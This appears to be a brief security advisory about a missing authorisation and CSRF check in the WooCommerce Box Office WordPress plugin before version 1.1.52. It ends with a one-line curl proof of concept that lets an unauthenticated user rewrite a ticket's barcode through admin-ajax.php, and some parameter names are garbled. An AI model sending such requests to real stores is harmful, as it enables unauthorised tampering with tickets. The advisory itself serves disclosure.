WooCommerce Box Office < 1.1.52 - Unauthenticated Ticket Barcode Update

The plugin does not have authorisation and CSRF when updating a ticket bar-code, allowing unauthenticated users to perform such action

PoC

curl https://example.com/wp-admin/admin-ajax.php -d “action=save_ticket_barcode&ticket;_barcode_image=xxx&ticket;_barcode_text=xxxxx&ticket;_id=86”